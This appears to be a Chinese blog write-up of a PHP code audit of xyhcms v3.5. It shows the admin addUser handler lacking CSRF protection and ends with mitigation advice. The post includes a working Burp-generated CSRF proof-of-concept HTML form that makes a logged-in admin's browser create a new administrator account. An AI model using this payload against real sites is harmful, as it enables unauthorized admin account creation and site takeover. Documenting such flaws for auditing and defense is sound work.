某CMS后台CSRF漏洞利用

日期: 栏目:网络安全 浏览:1741 评论:0

前言

最近入坑了PHP代码审计,从网上下了几套CMS尝试着练习一下,不得不说现在还在更新的大多数CMS安全性还是不错的,动不动就是源代码加密,配置360、阿里云的过滤文件。。。还好折腾了一段时间后在一个CMS中发现了CSRF漏洞,也算是对这一阵子的学习有一个交代。

某CMS后台CSRF漏洞利用-第1张图片-Ceacer网络

场景复现

我们看一下添加系统用户的后台处理代码

public function addUser() {

        if (IS_POST) {
            //用户组
            $group_id   = I('group_id', array());
            $department = I('department', array());
            if (empty($department)) {
                $this->error('请选择部门');
            }
            if (empty($group_id)) {
                $this->error('请选择职位');
            }

            //M验证
            $validate = array(
                array('username', 'require', '用户名不能为空!'),
                array('password', 'require', '密码不能为空!'),
                array('password', '5,20', '密码必须在5到20位之间', 0, 'length'),
                array('username', '', '用户名已经存在!', 0, 'unique', 1),
            );
            $data = M('Admin');
            if (!$data->validate($validate)->create()) {
                $this->error($data->getError());
            }
            $password         = get_password($data->password);
            $data->password   = $password['password'];
            $data->encrypt    = $password['encrypt'];
            $data->status     = I('status', 0, 'intval');
            $data->department = implode(',', $department);
            $data->login_time = date('Y-m-d H:i:s');
            $data->login_ip   = '';

            if ($id = $data->add()) {
                $group_data = array();
                foreach ($group_id as $key => $val) {
                    $group_data[] = array('uid' => $id, 'group_id' => $val);
                }

                $result = M('AuthGroupAccess')->addAll($group_data);
                if ($result) {
                    $this->success('添加成功', U('indexOfUser'));
                } else {
                    $this->error('权限设置失败|用户添加成功');
                }

            } else {

                $this->error('添加失败');
            }

            exit();
        }
        $_vListOfDepartment = M('Department')->order('sorting ASC, id ASC')->select();
        $vListOfDepartment  = \Common\Lib\Category::toTree($_vListOfDepartment);

        $vListOfGroup     = M('AuthGroup')->where(array('status' => 1))->select();
        $this->meta_title = "添加管理员";

        $this->assign('vListOfDepartment', $vListOfDepartment);
        $this->assign('vListOfGroup', $vListOfGroup);
        $this->setAssign();
        $this->display();
    }

漏洞利用

添加系统管理员

可以发现,处理代码中没有token一类的随机数防御机制,可以尝试创建一个包含恶意代码的页面

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/daimashenji/xyhcms_v3.5_20180518/xyhai.php?s=/Auth/addUser" method="POST">
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="department&#91;&#93;" value="1" />
      <input type="hidden" name="department&#91;&#93;" value="4" />
      <input type="hidden" name="department&#91;&#93;" value="3" />
      <input type="hidden" name="group&#95;id&#91;&#93;" value="1" />
      <input type="hidden" name="realname" value="hello" />
      <input type="hidden" name="email" value="111&#64;qq&#46;com" />
      <input type="hidden" name="is&#95;lock" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body></html>

使用登陆过管理员的浏览器点开该页面,回到后台,可以发现成功添加了新的管理员

防御建议

  1. 增加验证码机制

  2. 增加一个随机生成的参数token,后台处理时进行验证ps:使用token时需要做好xss防御,如果攻击者找到xss漏洞,token也很有可能被窃取而导致防御失效


评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看